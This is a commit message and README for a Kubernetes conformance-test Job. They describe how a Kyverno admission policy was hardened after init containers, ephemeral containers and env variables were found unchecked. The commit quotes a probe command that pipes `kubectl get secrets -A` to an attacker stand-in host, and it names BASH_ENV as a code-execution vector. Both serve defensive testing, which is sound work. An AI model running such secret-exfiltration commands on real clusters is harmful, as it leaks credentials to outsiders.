jakman85andClaude Opus 5
f6e8fb1fee
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
113 lines
8.2 KiB
Markdown
113 lines
8.2 KiB
Markdown
# In-cluster conformance Job (L2/L3)
|
|
|
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
|
> coverage hole, not a phase.
|
|
>
|
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
|
> registered the whole time. **Query the live API before asserting platform state.**
|
|
|
|
|
|
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
|
|
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
|
|
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
|
|
credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
|
|
|
## Files
|
|
- `rbac.yaml` — the `conformance` namespace, the `conformance-runner` ServiceAccount, and
|
|
a **least-privilege ClusterRole skeleton**. Rules start **empty** and are added — each
|
|
commented with the test/requirement that needs it — only as the matching fault-injection
|
|
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
|
audit item.
|
|
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
|
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
|
commit under test; artifacts leave over stdout. Its header is the authority on the
|
|
substitution tokens and the admission constraints it satisfies, and records the
|
|
`initContainers` hole that was found and closed alongside it — read it before editing
|
|
either file.
|
|
- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
|
|
`kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
|
|
filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
|
|
it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
|
|
source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
|
|
uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
|
|
L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
|
|
kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
|
|
- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
|
|
`/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
|
|
It is a file in the image rather than an inline script in the Job precisely so admission
|
|
can pin it: a policy cannot tell the committed script from an attacker's when both are
|
|
just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
|
|
match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
|
|
unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
|
|
takes **no arguments**, and the repository URL and clone target are **compiled in** —
|
|
`CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
|
honoured, because a URL taken from env would let the trigger choose which repository's
|
|
code runs as `conformance-runner`. This branch's Job depends on that interface:
|
|
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
|
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
|
> **The other half landed with this branch.** When `conformance-clone` arrived, the
|
|
> admission policy pinned the main container's `command` but **never read
|
|
> `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
|
|
> script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
|
|
> merely *available* rather than *required*. The rule that closes it is
|
|
> `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
|
|
> digest-pinned to the conformance-runner image, `command` exactly
|
|
> `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
|
|
> `env`/`envFrom` were the same shape of hole and are closed in the same policy.
|
|
- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
|
|
image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
|
|
prints the exact `podman push --digestfile …` command for the operator instead. See
|
|
`conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
|
|
`--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
|
|
and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
|
|
default verify stays offline so an air-gapped build is fully checked, not half-checked).
|
|
|
|
## Flow
|
|
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
|
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
|
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
|
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
|
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
|
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
|
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
|
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
|
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
|
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
|
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
|
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
|
`results`.
|
|
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
|
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
|
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
|
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
|
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
|
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
|
of decoding to plausible garbage.
|
|
|
|
## Prerequisites before this Job can run at all
|
|
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
|
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
|
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
|
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
|
before this template is usable; its digest is what the trigger substitutes. Contract the
|
|
image MUST meet, because the Job and the admission policy both depend on it:
|
|
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
|
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
|
uid in the Containerfile means the Job will not start;
|
|
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
|
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
|
that exact path, so an image without it cannot run the clone step and no other path will
|
|
be admitted.
|
|
|
|
## Phase 0
|
|
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
|
from Phase 1+ and first exercised when L2/L3 can run (T-3.0 onward). In Phase 0 the same
|
|
`run.sh` runs in CI's no-cluster stage and emits a **skipped** JUnit + the coverage report.
|